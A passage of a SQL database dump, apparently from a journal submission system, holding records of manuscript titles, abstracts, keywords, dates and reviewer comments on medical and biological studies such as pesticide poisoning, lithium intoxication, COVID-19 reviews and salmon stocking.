Serratia marcescens ','Serratia marcescens, Cephalosporins, podigiosin, Phyto-constituents, Antimicrobial activity.',3944,NULL,'2020-09-08',NULL,'Submitted',2,NULL,'2020-11-30',NULL,1,1,'1','antimicrobial evaluation of bioactive prodigiosin potentials has given very clearly using a lengthy paper. It was well explained and written in understadable way to everyone. I prefer to publish this manuscript.\r\n',0,'','',NULL,0,0,0,NULL,0),(6073,7306,981,0,NULL,'Epidemiology and Clinical profile of Pesticide Poisoning in Bangladesh',NULL,14,0,NULL,'Background: The number of deliberate self harm(DSM) leading to suicidal intoxications with pesticide specially Ogranophosphate (OP) are high with huge mortality due  difficulty for uniform treatment and lack of resources in health care facilities. The OP poisoning is almost epidemic in Bangladesh as people consider DSM as an acceptable way of relieving their personal mishappens.\r\nMethods: Victims of pesticide poisoning admitted to one medical unit of Dhaka Medical College Hospital was systematically observed over a period of one year between January to December 2004.The patients with diagnosis of poisoning like sedatives, kerosene etc were excluded from the study. The enrolled patients were followed up to see recovery, recovery with complications and death. All data were analyzed using SPSS software, version 11.5. Illinois, Chicago.\r\nResults: Among 4378 admitted patients in one medicine unit, 796 (18.18%) cases were due to poisoning; pesticide cases were 60 (7.53%).Among all the OP poisoning cases, 13 (21.67%) died. There was female preponderance and the mean age was 23.38  1.16 years. Fifty seven percent cases were coming from rural community, 51.7% of them were married. Thirty five percent were students and 30% housewives. Ninety three percent experienced nausea/vomiting followed by myosis (88.33%) and increased sweating (80%) as initial presentation. Most (93.3%) of the poisoning cases had suicidal intention. Fifty percent of them used malathion followed by 23.2% of other agents. Among 60 cases, half of them required average of  150 ampoules of atropine and  Pralidoxime was used in 38(63.4%). Out of 13 death cases , 8(62%) died due to acute cholinergic crisis and the rest 5(38%) from respiratory paralysis.\r\nConclusion: Prompt clinical assessment and diagnosis, appropriate supportive care and early treatment should be the corner stone in order to minimize mortality from these potentially lethal compounds. The existing  national guide line on poisoning should be practiced in all level of health care for pesticide poisoning.','OPC, Clinical, Epidemiology',3971,NULL,'2020-09-08',NULL,'Submitted',4,NULL,'2020-09-25',NULL,1,0,'0',NULL,0,NULL,NULL,NULL,0,0,0,NULL,0),(6076,7315,639,0,'ipfs-20-6076','Lake elevation drives stocking success of Chinook salmon in Lake Oahe, South Dakota, a large Midwest reservoir',NULL,14,0,NULL,'Landlocked Chinook salmon (Oncorhynchus tshawytscha) are a popular sport fish in Missouri River, USA, reservoirs. These fisheries are maintained through stocking, but few studies have examined specific factors at the time of stocking that may influence post-stocking survival of Chinook salmon. In this study, we used an information theoretic approach to evaluate the ability of candidate models to explain variability in the return of stocked Chinook salmon to a spawning station in Lake Oahe, a large Missouri River reservoir in central South Dakota. The best candidate models to explain adult Chinook salmon returns included the lake elevation in May and, to a lesser extent, the number of Chinook salmon stocked. Surprisingly, recruitment of Chinook salmon exhibited an inverse relationship to lake elevation. Models that included measures of predator and prey abundance showed little support. Thus, it appears that Lake Oahe’s fish assemblage at the time of stocking plays less of role in the return of Chinook salmon to the spawning stock compared to the lake characteristics at the time of stocking.','Lake Oahe, Missouri River, Oncorhynchus tshawytscha, smolt stocking, South Dakota',1774,NULL,'2020-09-08',NULL,'Submitted',2,NULL,'2020-10-01',NULL,1,1,'1','I accept to publish this article in our journal. ',0,'','',NULL,0,0,0,NULL,0),(6085,7327,91,0,'ijddr-20-6085','Formulation development & evaluation of Atenolol based medicated chewing gum.',NULL,14,2,NULL,'Aim-Formulation development & Evaluation of Atenolol based Medicated Chewing gum.Context: The medicated chewing gum  formulations are helpful for fast onset of action.drug relase due to mastication process.direct access to the general circulation and overcomes the first pass hepatic metabolism.Objective: The objective to  develop the formulation & evaluate medicated chewing gum as specialised drug delivery system.improved bioavaibility & patient compliance. Methods & Materials:Medicated chewing gum were prepared by Direct compression method using Health in Gum grade -01(HiG-01) as a directly compressible gum base developed by Cafosa (S.A.U.),spain.The effect of concentration of (Base) Gum Base ,( released modifier) Aerosil, and ( antiaderant) talc was studied with the study of potential factors affecting drug release by 32 full factorial experimental design. Results and discussion:The dissolution study showed that optimum amount of gum base shows superior result.Atenolol is an antihypertensive agent.After oral administration it is rapidly absorbed. Developed medicated chewing gum Evaluated for the charecterstics like FTIR,DSC & the evalution of tablets i.e. diameter, thickness, friability, hardness, average weight, content uniformity,stickiness and dissolution study were performed.  A  32 full factorial design was selected and the 2 factors were evaluated at 3 levels. The concentration of Polymer(X1) and concentration of Talc (X2) were selected as independent variables and the dependent variables were Hardness & percent drug release at 12  min .F4 batch are optimised having percent drug release 92%.optimised batch for 1 month accelerated stability studies was performed. Stat-Ease Design Expert 11.0.Conclusion: The developed formulation of medicated chewing gum can be a better alternative to mouth dissolving and conventional tablet formulation. It may be proved as a promising approach to improve the bioavailability as well as to improve patient compliance.\r\n','Atenolol, Health in gum base, Talc, Direct compression method',1325,NULL,'2020-09-09',NULL,'Submitted',19,NULL,'2020-11-17',NULL,1,1,'0',NULL,0,'','',NULL,0,4,0,NULL,0),(6086,7316,86,0,'ipaom-20-6086','Giant Uterine Lipoleiomyoma Masquerading as Endometrial Carcinoma in a Young Nulliparous Lady - Clinical and Imaging Challenges.',NULL,2,0,NULL,'Uterine lipoleiomyoma is a benign variant of leiomyoma. It is rare and is composed of smooth muscles and mature adipocytes. It affects perimenopausal and menopausal women. It is important to differentiate it from neoplasms that demand surgical excision. We report a case of giant lipoleiomyoma in a 30 year old nulliparous lady. The objective of presenting this case is to review current concepts and present the imaging findings of this entity.','Giant, Lipoleiomyoma, Imaging',3978,NULL,'2020-09-09',NULL,'Submitted',2,NULL,'2020-12-03',NULL,1,1,'0','Accept',0,NULL,NULL,NULL,0,0,0,NULL,0),(6090,7297,45,0,'iphsj-20-6090','Siddha Formulations in COVID-19: Potential Bio-active compounds of Kabasura Kudineer against SARS-CoV-2 Virus - A Molecular Docking study',NULL,14,0,NULL,'Introduction/ Purpose:\r\nKabasura kudineer, a medicinal concoction used in Siddha system of medicine includes 15 plant components with numerous bio-active compounds. These compounds are found to be used for various clinical purposes including respiratory, gastrointestinal and bacterial infections. Thus in this study we aimed to study the potential of bio-active compounds of Kabasura kudineer against three different proteins of SARS-CoV-2 virus namely - Spike protein, Protease and RNA dependent RNA polymerase (RdRP) using molecular docking technique.\r\nMethods:\r\nThe bio-active compound molecules of the Kabasura kudineer concoction were extracted using SMILES String method from PubChem and subjected against three protein molecular structures of virus retrieved from protein data bank. The molecular docking procedure was performed using Chimera v1.14 and AutoDock Vina v1.12 platform. \r\nResults:\r\nThe receptors subjected to molecular docking showed existence of negative binding energy between the molecules and the affinity was found to be higher against RdRP than other two proteins. Among all the bio-active compounds – Terflavin B and Ellagic acid of plant Kadukkaithol showed higher binding energy against all the proteins of SARS-CoV-2 proteins.\r\nConclusion:\r\nThus, the compounds thus proved to have anti-viral potential that may help to inhibit the replication of virus and contain the spread.','Molecular docking, bio-active compounds, Kabasura kudineer, COVID-19, binding affinity',388,NULL,'2020-09-10',NULL,'Submitted',14,NULL,'2020-09-15',NULL,1,1,'1','Accepted',0,NULL,NULL,NULL,0,0,0,NULL,0),(6096,7336,73,0,'ipjnn-20-6096','An Extra dural haemorrhage following the treatment of an atypical presentation of a venous sinus thrombosis',NULL,2,0,NULL,'This is a case of a 50-year-old female, who presented with a severe throbbing right sided headache, vomiting and fever for 3 days. An initial ct brain was normal, however a Ct venogram revealed a right cavernous sinus thrombosis. Patient was started on low molecular weight heparin and antibiotics, however developed an atraumatic extra dural haemorrhage. This is an account of a case of an atypical presentation of cavernous sinus thrombosis which developed a complication of an EDH during the course of treatment','venous sinus thrombosis, extra dural haemorrhage, headache',326,NULL,'2020-09-11',NULL,'Submitted',2,NULL,'2021-01-18',NULL,1,1,'0','Accept',0,'','',NULL,0,0,0,NULL,0),(6114,7358,975,0,'ipjbs-23-6114','Enhanced targeted anticancer by the TMTP1 compound with Asparaginase for Treatment in Acute Lymphoblastic Leukemia ',NULL,14,3,NULL,'Micromolecular agents that inhibit tumor development and metastasis hold great promise as cancer-targeted drugs. Tumor molecular targeted peptide 1 (TMTP1) was previously shown to target primary tumors and metastatic cancers. In this study, an Asparaginase that is a cornerstone of treatment protocols for acute lymphoblastic leukemia (ALL) and is used for remission induction and intensification treatment in all pediatric regimens and in the majority of adult treatment was incorporated to TMTP1. As a result TMTP1-Asparaginase displayed strong affinity and anti-tumor effects as we expected vitro. \r\nThe downstream signaling pathways including AKT, GSK-3β and NF-κB activity were verified to decrease by TMTP1-Asparaginase. The pharmacokinetics and dispersion of TMTP1-Asparaginase in Sup-B15 cell line provided some evidence for efficacy of the composite peptide. In conclusion, TMTP1-Asparaginase may be a promising targeted anti-tumor drug for primary tumor and metastatic foci, which enhances the anticancer effects through inhibiting the AKT/GSK-3β/NF-κB path- way comparing with TMTP1. \r\n','',3460,NULL,'2020-09-14',NULL,'Submitted',15,NULL,'2023-01-24',NULL,1,1,'0',NULL,0,'','',NULL,0,0,0,NULL,0),(6125,7368,45,0,'iphsj-20-6125','Role of Information Systems in Healthcare ',NULL,19,2,NULL,'With the rapid advancement in Information and Communication Technology (ICT), many healthcare facilities are making significant investments in these technologies that have been shown to have a positive effect on patient health outcomes, such as lower error rates and increased patient safety as well as time savings for health professionals. Healthcare systems involve the cooperation of multiple healthcare professionals and disciplines. The quality and safety of treatment in such a setting relies heavily on the ability to share information from one device to another, and from one person to another. However, in healthcare environments, information systems that also support a fast and efficient flow of information along healthcare processes are not widely used. Healthcare organizations typically have their own self-developed information systems that do not accept the cooperation of different organizational units. This paper introduces some general trends of design for the Healthcare Information Systems databases. Our focus is on generalizing the ability of the database structure, which is capable of serving many medical specialties, without any comprehension. In this paper, we would focus on exploring existing Information Systems that are used in current times according to the branches of Healthcare Industry. We also would be discussing and critically analyzing each Information Systems based on previous articles and empirical studies.','health information systems, health informatics, healthcare systems',686,NULL,'2020-09-15',NULL,'Submitted',19,NULL,'2020-09-21',NULL,1,1,'0','Accepted',0,'','',NULL,0,4,0,NULL,0),(6126,7369,45,0,'iphsj-20-6126','Perspectives: A History of Global Pandemic From 20th Century to Novel Emerging Human Corona Virus SARS-CoV-2',NULL,12,0,NULL,'The novel corona virus SARS-CoV-2 is the seventh coronavirus known to infect humans. Severe acute respiratory syndrome corona virus (SARS-CoV), Middle East respiratory syndrome corona virus (MERS-CoV) and novel emerging corona virus severe acute respiratory syndrome 2 (SARS-CoV-2) are highly transmissible and pathogenic viruses that emerged in humans in the 21st century. Corona viruses pose a serious threat to global health as evidenced by Severe Acute Respiratory Syndrome (SARS), Middle East Respiratory Syndrome (MERS), and corona virus disease 2019 (COVID-19) disease outbreaks caused by the causative agents SARS-CoV, MERS-CoV, and the novel SARS-CoV-2 respectively. The World Health Organization (WHO) has declared the novel Corona virus outbreak a pandemic to spread a new disease worldwide. The current novel COVID-19 pneumonia pandemic, caused by the SARS-CoV-2 virus, is spreading inter-continental at an accelerated rate, with a basic reproduction number (R0) of 2 – 2.5, indicating that 2 – 3 persons will be infected from an index patient. As of September 15, 2020, there are more than 28918900 confirmed cases of COVID-19 worldwide, with over 922252 related deaths and more than 4846427 corona virus confirmed cases in India, with over 79722 deaths. In this review, we offer a perspective on the notable features of the current knowledge on highly transmissible emerging pathogenic corona viruses in 21st century and historical pandemic outbreak in 20th century. As this information, can help counter measures against future spillover and pathogenic infections in humans with novel corona viruses.','Corona virus, SARS-CoV-2, Covid-19, Pandemic, Human corona virus',643,NULL,'2020-09-15',NULL,'Submitted',4,NULL,'2020-12-14',NULL,1,1,'1','Accepted',0,'','',NULL,0,0,0,NULL,0),(6128,7371,45,0,'iphsj-20-6128','Management of COVID – 19 by China – Lessons learned ',NULL,15,2,NULL,'The latest threat to global health is the ongoing outbreak of the respiratory disease the name Covid-19. As in two preceding instances of emergence of coronavirus disease in the past 18 years — SARS and MERS, the Covid-19 outbreak has posed critical challenges for the public health, research, and medical communities. The outbreak is a stark reminder of the ongoing challenge of emerging and re-emerging infectious pathogens and the need for constant surveillance, prompt diagnosis, and robust research to understand the basic biology of new organisms and our susceptibilities to them, as well as to develop effective countermeasures. The virus has already infected more than 10.5 million people worldwide. With the majority of the travels blocked, schools and colleges closed, countries imposing lockdowns, this virus has already taken over the normal life of people around the globe. This review article highlights the various measures taken by China in tackling the management of COVID-19.','COVID – 19, Pandemic, Impact, Lessons learned',388,NULL,'2020-09-15',NULL,'Submitted',19,NULL,'2020-09-21',NULL,1,1,'1','Accepted',0,NULL,NULL,NULL,0,4,0,NULL,0),(6136,7180,639,0,'','Genetic Diversity of the Chinese Mitten Crab (Eriocheir sinensis) from Six Different Lakes Using Microsatellites',NULL,15,2,NULL,'The Chinese mittens crabs (Eriocheir sinensis) has a delicate flavour and high nutritional value, making them the most important economic species in Eastern Asia (Chang, Liang, Ma, He & Sun, 2008; Chen, Zhang & Shrestha, 2007; Wu et al., 2007) With higher market demand.The present study was aimed to assess genetic diversity among the six populations of Chinese mittens crabs located in Jiangsu province.180 Chinese mittens crabs were collected in six lakes of China and in which 30 from each lakes,. The crabs were then prepared, labeled, and stored in -80°C freezer, DNA was extracted using an animal genomic DNA extraction kit (TaKaRa, Dalian).The DNA purity was tested by agarose gel electrophoresis.\r\n\r\nA total of 87 alleles were observed in 180 individuals of 6 wild Eriocheir sinensis populations. The overall mean of 6.69 alleles per locus, The loci were ranged from ( crab1 to crab21) table 2 ., Where Esin42 and HUEsa42 loci exhibited the highest number of observed alleles (15 and 13), while the lowest number of alleles was found on locus Crab2 in TH and CD populations showed a higher number of observed alleles on Esin42 and HUEsa42 loci. Fis results showed that 6 sites had negative values, and crab20 had the largest value. The results of Fit showed that the single locus showed a negative value, which was also the largest at crab20 locus. All the Fst among the populations were lower than 0.50, AMOVA analysis found that 0.36% of genetic variation came from between groups, 5.56% of genetic variation came from between individuals within a group, and 94.08% of genetic variation came from between individuals.','Genetic diversity, microsatellite, linkage disequilibrium, heterozygosity, Loci',1770,NULL,'2021-09-16','2020-09-15','Submitted',19,NULL,'0000-00-00',NULL,1,0,'1',NULL,1,'','',NULL,0,4,0,NULL,0),(6139,7374,91,0,'ijddr-20-6139','PROTEIN THERAPEUTICS: AN UPDATED REVIEW',NULL,15,2,NULL,'Therapeutic protein are one of the prime option of biologicals as per their clinical uses. In recent times, uses of therapeutic protein increases day by day. Protein therapeutics are used extensively to treat various diseases like cancer, AIDS etc. Due to recent advancement in pharmaceutical biotechnology the interest towards therapeutic proteins are augmenting nowadays. Various clinical research are going on in this field to treat different diseases and pharmaceutical industries are also make interest on therapeutic proteins. Among the various treatment options therapeutic protein will provide highest chance of clinical success. Some recent clinical trials demonstrate that therapeutic protein may provide the safe and potential option to treat various diseases, but there are some drawbacks also like some immunogenic issues, safety, stability problem of protein, degradation of protein in various conditions. ','Therapeutic protein, Uses of therapeutic protein, Clinical research, Advantages of therapeutic protein, Drawbacks. ',2421,NULL,'2020-09-15',NULL,'Submitted',19,NULL,'2020-12-17',NULL,1,1,'0',NULL,0,'','',NULL,0,4,0,NULL,0),(6143,7378,45,0,'iphsj-20-6143','Intralesional Cryotherapy to treat exophytic keloids: The Universitas Hospital Bloemfontein Experience',NULL,14,0,NULL,'The skin is composed of labile cells, which to some extent can regenerate, but in cases of deep and significant damage, healing occurs by secondary intention with subsequent scar formation. Keloids are wound scars that grow beyond the original wound site and are characterized by an overabundance of collagen at the injured site, in a craw like fashion that distinguish them from hypertrophic scars. They result from dermal injury, mostly from trauma, infection and burns, and at times, they occur spontaneously. Keloids commonly occur on the earlobes, back, shoulders and chest and can be a major source of embarrassment and anxiety. These scars can also be painful and itchy. The prevalence of keloids is higher among patients with darker skin especially in Africans and Asians. Treatment options for these scars vary, however, a high recurrence rate after such treatments have been reported. Some modalities have sporadically yielded better outcomes, more so when used in combinations. It is therefore important to find a treatment that is safe, non-toxic and with reduced chances of recurrence in affected\r\n\r\n \r\nindividuals. Intralesional cryotherapy is a treatment for keloid scars in which liquid Nitrogen is used to freeze the scar from inside.\r\nThis study therefore sought to treat exophytic keloids with intralesional liquid Nitrogen (Cryotherapy) as a deep-freeze from the core of the keloid under local anaesthetic. This adds a newer method of keloid management contributing towards standardizing exophytic keloid management. A prospective case series was conducted among twelve patients attending the Dermatology outpatient department, at Universitas Hospital in Bloemfontein from 1 August 2016 to 01 March 2017. These patients were seen at the initial visit, then at six weeks and six months respectively.\r\nAll the subjects were Africans, with 7 (58.3%) being female and 5 (41.7%) male. A third of the patients (4) (33.3%) had more than one site of involvement. Significant reduction in the exophytic keloidal mass post deep-freezing, irrespective of the keloid area, duration, gender and cause was observed among these patients. Two-thirds of these patients were either satisfied or very satisfied with the clinical outcome of the scar at six months.\r\nThe use of intralesional cryotherapy for exophytic keloids has potential to become the main modality of treatment in future. Our study had some limitations including a small sample size, relatively high rate of patients lost to follow up (33.3%) and some unanticipated technical difficulties.','Health Science',388,NULL,'2020-09-16',NULL,'Submitted',4,NULL,'2020-10-20',NULL,1,1,'0','Accepted',0,NULL,NULL,NULL,0,0,0,NULL,0),(6144,7379,45,0,'iphsj-20-6144','Iran\'s public health measures in controlling COVID-19',NULL,17,0,NULL,'Covid-19 is now becoming an epidemic in the world and has caused a lot of damage to public health. All countries must be prepared to deal with these conditions. Utilizing the successful experiences and public health practices of other countries can help in this regard. In this letter to the editor, we present very valuable and successful Iran\'s public health measures.','Covid-19',388,NULL,'2020-09-16',NULL,'Submitted',14,NULL,'2020-09-22',NULL,1,1,'1','Accepted',0,NULL,NULL,NULL,0,0,0,NULL,0),(6145,7379,45,0,'iphsj-20-6145','Insurance and Improving its Strategic Purchase in Iran',NULL,17,2,NULL,'The high rates of rapid growth and developments in today\'s world, especially in financial markets, have made the insurance industry to become one of the specialized economic sectors with unique calculations and models, so that its role in financial markets is prominent. One of the most important functions of the insurance company is the strategic purchase of insurances.','Covid-19',388,NULL,'2020-09-16',NULL,'Submitted',19,NULL,'2020-09-22',NULL,1,1,'1','Accepted',0,NULL,NULL,NULL,0,4,0,NULL,0),(6146,7380,45,0,'iphsj-20-6146','A mini review of use of ginger (Zingiber officinale Roscoe) as therapeutic agent for prevention and precaution among corona virus (Covid-19) patients',NULL,14,0,NULL,'Ginger (Zingeriber Officinale) has been used to treat several ailments traditionally, such as nausea and have been used as anti-spasmodic remedy. Ginger root has been used since centuries for motion sickness during dyspepsia. Due to its therapeutic properties, it has recently grown in popularity as a potential adjunct therapy for COVID-19. However, no mini review has been conducted to evaluate its efficacy and therapeutic effect on COVID-19. In this review, literature searches were conducted using Google Scholar. Search terms used were ‘coronavirus’, ‘ginger*’, ‘therapy’, ‘therapeutic agent’, ‘saluting’, ‘gingerol’ and ‘natural products. Efficacy measures such as biochemical markers, cellular biology, nucleotide analysis, and pharmacological measures have been extracted from studies and synthesized in the review. Although several in vitro and in vivo model studies have found therapeutic effects of ginger in Covid-19, there has been found sufficient evidence from clinical trial to support gingerol use in humans with COVID-19, and healthy volunteers. Short term usage of ginger has been found to be safe and salutong of ginger along with curcumin has been used as ailment relief among COVID-19 patients. Various reasons such as its low bioavailability and inconsistency in study designs were responsible for discrepancies between preclinical findings and human trials.  Future directives could help in development of novel vaccine has been discussed in review.','Coronavirus, ginger, therapy, therapeutic agent, salutong, review, gingerol, natural products',388,NULL,'2020-09-16',NULL,'Submitted',4,NULL,'2020-12-14',NULL,1,1,'1','Accepted',0,NULL,NULL,NULL,0,0,0,NULL,0),(6153,7386,86,0,'ipaom-20-6153','INTERPRITATION OF CORONARY ARTERY DISEASE THROUGH ENVIRONMENTAL/GENETIC RISK FACTORS AND CONTRIBUTING GENES: A COMPREHENSIVE REVIEW',NULL,15,0,NULL,'Coronary artery disease is considered as major cause of death all over the world. Although it is associated with traditional risk factors like age, gender, hypertension, diabetes, smoking, such phenotypes also have strong association with genetic background. Here we reviewed the available data concerned to CAD traditional as well as genetic markers along with contributing genes and their interactions with environment. CAD as a polygenic disease possess about 50%-60% heritability causing difficulty in understanding its genetic architecture. Besides, complicated pathophysiological processes including both genetic and environmental interactions may increase or decrease the CAD risk depending upon the expression of concerned genes. In future, adequate genetic markers may be identified presenting risk profile to prevent CAD.  ','Coronary artery disease, Pathophysiology, Emanating risk factors, Genetics of CAD, Genetic risk factors, Contributing genes, Environmental interactions',3067,NULL,'2020-09-16',NULL,'Submitted',2,NULL,'2020-12-03',NULL,1,1,'0','Accept',0,'','',NULL,0,0,0,NULL,0),(6160,7394,326,0,'IPJUS-20-6160','COMPARISION OF POST OPERATIVE MORBIDITY AMONG LAPAROSCOPIC AND LICHTENSTEIN TENSION FREE INGUINAL HERNIA REPAIR  ',NULL,14,0,NULL,'AIMS AND OBJECTIVES:\r\nThe primary objective was to compare post operative pain using visual analogue scale (VAS).\r\nSecondary objectives measured were hospital stay in days, time to resume normal activities and post operative complications.\r\n\r\nMETHODS:\r\nThis was a comparative randomized control study where 40 patients with inguinal hernias were enrolled. Patients undergoing Laparoscopic hernia repair (LHR) and Lichtenstein tension free hernia repair (LTHR), were randomized into two groups. An informed consent was taken following various investigations. Further, the patients who underwent surgery, were evaluated for post-operative pain, hospital stay, time to return to normal activities and complications.\r\nRESULTS:\r\nIt was found that the VAS score was lesser in LHR group as compared to LTHR group in different time points (day 1, day 3 and week 1) and it was showing a significant difference (p<0.0001) between the groups. There was also a significant difference found in median of time that is required for normal activity and it was significantly more in LTHR group (6.55±1.73) as compared to the LHR group (3.25±1.25) (p<0.0001). The median of hospital stay in LTHR group is significantly more (4.35±1.81) than LHR group (2.8±0.89). Even the complications were found more in LTHR group (10%) than in LHR group (5%).\r\nCONCLUSION:\r\nApart from the complications, which were found to be similar, laparoscopic hernia repair was found to be better in all the above mentioned aspects. However, the data is insufficient to conclude which surgery is better overall, as long-term follow up is required to evaluate for chronic pain, recurrence and learning curve in laparoscopic hernia repair.\r\n','',2505,NULL,'2020-09-17',NULL,'Submitted',2,NULL,'2020-12-08',NULL,1,1,'0','This article is accepted for publication.',0,'','',NULL,0,0,0,NULL,0),(6165,7399,91,0,'ijddr-20-6165','An Overview of Covid-19 vaccine development worldwide',NULL,15,0,NULL,'Whole world reels from illnesses and deaths due to coronavirus, the race is on for a safe, effective, long-lasting vaccine to help the body to fight from the novel coronavirus SARS-CoV-2. There are various vaccine approaches initiated for the rapid invention and development of the vaccine. Vaccine development is a time taking process as it goes through various phases and experiment. It is based on the risk-benefit ratio. In this situational crisis, more than hundreds of vaccines are already on the pre-clinical stage. Every country is making an effort to invent the vaccine for novel coronavirus, many are near to complete their 3 phase of the trial and ready to launch very soon. The government and various agencies supporting financial assistance for the development of the vaccine. Countries such as the USA, Japan, North America, India, Russia using innovation and technology for the successful development of the vaccine.','Covid-19, Vaccine, Corona virus, Vaccine Development',3391,NULL,'2020-09-17',NULL,'Submitted',2,NULL,'2021-04-30',NULL,1,1,'0','accept',0,NULL,NULL,NULL,0,0,0,NULL,0),(6170,7407,975,0,'ipjbs-20-6170','Prevalence of Intestinal Parasites and Salmonella typhi among Food Handlers Working in Catering Establishments of Public Institutes Found in Dawuro Zone,  South-Western Ethiopia',NULL,14,0,NULL,'Background: Food borne disease, which is the result of ingestion of foodstuffs contaminated with microorganisms, parasites or chemicals encompass a wide spectrum of illness and public health problem worldwide. Ethiopia is placed on second, third and fourth place due to highest burden of ascariasis, hookworm and trichuriasis respectively in Sub-Saharan Africa.  The present study is aimed to determine the prevalence of Salmonella typhi and intestinal parasites among food handlers working in catering establishments of public institutes found in Dawuro Zone, South-Western Ethiopia.\r\nMethods: A cross sectional study is conducted among food handlers working in catering establishments of public institutions found in Dawuro Zone from March to July, 2019. The data was collected by using pre tested structured questionnaires. Stool and blood samples were taken from each participant for parasitic and widal test respectively. The data entered into Epi info version 3.5.1 and then exported into SPSS window version 20.0 for analysis. Logistic regressions were performed to assess the association between binary outcomes and different explanatory variables.  P-value < 0.05 was considered statistically significant.\r\nResult: The study included 402 (293 females and 109 males) food-handlers. Of 402 stool specimens, 20.4% were found to be positive for different parasite species: comprising protozoa (35.9%) and helminths (64.1%). A. lumbricoides was the most prevalent parasite (8.0%), followed by E. histolytica/ dispar (4.23%).  Twenty-six (6.5%) of food handlers were positive for Widal test. Ages ≥40 years [AOR: 0.436, 95% CI 0.203, 0.937], attending no education [AOR: 2.142, 95% CI: 1.048, 4.378], not washing hand after using latrine [AOR: 4.355, 95% CI: 1.771, 10.708], not covering mouth with tissue paper [AOR: 0.530, 95% CI: 0.312, 0.899], no medical checkup (in last four months) [AOR: 0.278, 95% CI: 0.116, 0.667] and untrimmed finger nails, [AOR: 0.382, 95% CI: 0.229, 0.635] were significantly associated with intestinal parasitic or Salmonella typhi infections.\r\nConclusion:  The prevalence of intestinal parasitic infection (IPIs) and Salmonella among food handlers in present study is relatively high compared to other different studies conducted in developed and developing countries. Therefore, biannually screening of food handlers for intestinal parasites (IPs) and periodic deworming of infected cases along with provision of food safety measures focusing on personal hygiene, environmental sanitation and periodical medical checkups are recommended to control the parasitic infection in food handlers. \r\n\r\n',' Food handler, Catering establishment, Salmonella, intestinal parasite, Ethiopia',3460,NULL,'2020-09-19',NULL,'Submitted',4,NULL,'2021-03-05',NULL,1,1,'0','Can proceed for publication',0,'','',NULL,0,0,0,NULL,0),(6181,7421,73,0,'ipjnn-20-6181','What effects does \'robot-assisted gait training\' (Lokomat) provide on quality of life in patients with acute or subacute stroke. A systematised review.',NULL,6,0,NULL,'\r\nIntroduction:  To accomplish the constant walking speed, symmetric and repetitive walking patterns robotic orthosis has been developed. Walking ability is the crucial factor for accomplishing independence in daily life activities which are a key part for improving quality of life. \r\nAim: Author aims to critically appraise theory around the specific topic and to synthesize results in one piece of research review in order to send clear message for the physiotherapists and decision makers in field of neuro robotic rehabilitation.\r\nMethods: The author takes positivistic point of view with quantitative methodology in order to conduct systematized review. The included studies were RCTs that used Lokomat robotic device as an intervention and then evaluated quality of life as a primary or secondary outcome measure. Outcomes included were Barthel index, SF-36, SS – QoL, SIS. Data from the studies were systematically extracted and combined in forest plot for systematic analysis. \r\nResults: Twelve studies satisfied criteria and were included in the systematised review. Total number of participants was 517 and most used outcome measure was Barthel index. Barthel index, combination of RAGT with CT and follow – up subgroups were created. \r\nConclusion: The RAGT may significantly improve QoL patients after stroke and especially when the start of the rehabilitation is in the early phase because long term effects on a follow up at 3, 6 or 12 months were significantly improved. The RAGT combined with CT may have the best influence on relearning activities needed to improve QoL.\r\n','Keywords: Stroke, Robotics, Lokomat, Rehabilitation, Quality of life',3970,NULL,'2020-09-21',NULL,'Submitted',12,NULL,'2020-10-15',NULL,1,1,'0',NULL,0,'','',NULL,0,0,0,NULL,0),(6189,7431,277,0,'ipadm-20-6189','INTOXICACION POR LITIO COMO CAUSA DE INICIO PRIORITARIO DE HEMODIALISIS: A PROPOSITO DE UN CASO',NULL,2,0,NULL,'La intoxicación por litio, una entidad clínica poco frecuente, representa una causa importante de mortalidad en pacientes con trastorno bipolar. Sus manifestaciones clínicas incluyen un espectro heterogéneo de síntomas dentro de los cuales destacan compromiso neurológico, gastrointestinal, cardiovascular, y renal, llegando a ser letales sus complicaciones si no se llega a establecer un diagnóstico y manejo oportuno. Dada la alta frecuencia de su utilización como tratamiento para patologías psiquiátricas y su estrecho rango terapéutico que favorece la aparición de toxicidad, el monitoreo frecuente de sus niveles circulantes constituye un pilar fundamental en la prevención de aparición de sus múltiples efectos adversos. Pacientes con intoxicaciones severas requieren hemodiálisis emergente pues a través de esta intervención se brinda una opción terapéutica temprana que ayuda con el buen pronóstico de estos pacientes al disminuir los niveles de litemia hasta rangos de seguridad. Se presenta el caso de una paciente femenina de 54 años, con antecedente de trastorno bipolar desde hace 7 años en manejo con carbonato de litio, quien presenta intoxicación severa, con compromiso neurológico, que requirió realización de hemodiálisis temprana como medida para eliminación de litio en sangre, con evolución satisfactoria y egreso hospitalario. \r\n\r\nLithium intoxication, a rare clinical entity, represents a major cause of mortality in patients with bipolar spectrum disorder. Its clinical manifestations include a heterogeneous spectrum of symptoms within which neurological, gastrointestinal, cardiovascular, and renal involvement stand out, its complications becoming lethal if a timely diagnosis and management is not established. Given the high frequency of its use as a treatment for psychiatric pathologies and its narrow therapeutic range that favors the appearance of toxicity, frequent monitoring of its circulating levels constitutes a fundamental pillar in the prevention of the appearance of its multiple adverse effects. Patients with severe poisoning require emergent hemodialysis because through this intervention an early therapeutic option is provided that helps with the good prognosis of these patients by reducing the levels of litemia to safety ranges. We present the case of a 54-year-old female patient, with a history of bipolar disorder for 7 years under treatment with lithium carbonate, who presented severe intoxication, with neurological compromise, which required early hemodialysis as a measure to eliminate lithium in blood, with satisfactory evolution and hospital discharge.','Litio, Intoxicación, Hemodiálisis, Bipolar, Litemia',2805,NULL,'2020-09-22',NULL,'Submitted',2,NULL,'2020-10-22',NULL,1,1,'1','Accepted',0,NULL,NULL,NULL,0,0,0,NULL,0),(6191,7435,251,0,'ipacm-20-6191','PREVALENCE OF FAECAL CARRIAGE OF SALMONELLA SEROTYPES AND THEIR ANTIMICROBIAL SUSCEPTIBILITY PATTERN AMONG ASYMPTOMATIC FOOD HANDLERS',NULL,14,0,NULL,'Background\r\nTyphoid fever, has been a threat to the mankind for ages unbound and still continues to be. It is an infectious disease caused by Salmonella enterica group. Asymptomatic carriage and drug  resistance of typhoid bacilli have been the major problems of typhoid infection. Detection of carriers among food handlers is important to prevent such public health catastrophies. Drug resistance among salmonellae also poses a significant problem in management of patients. The broad spectrum antibiotics like chloramphenicol, ampicillin and co-trimoxazole were the drugs of choice. Of late, there have been reports of ceftriaxone resistance among non-typhoidal salmonellae. This study is being taken up to assess the prevalence of faecal shedding of salmonellae among food handlers in hostel mess and canteens in Mangalore and emerging ceftriaxone resistance among the salmonella isolates. MATERIALS AND METHODS\r\nA  hospital based, prospective, cross-sectional study,  was conducted in  Microbiology laboratory – KMC hospital Ambedkar Circle from  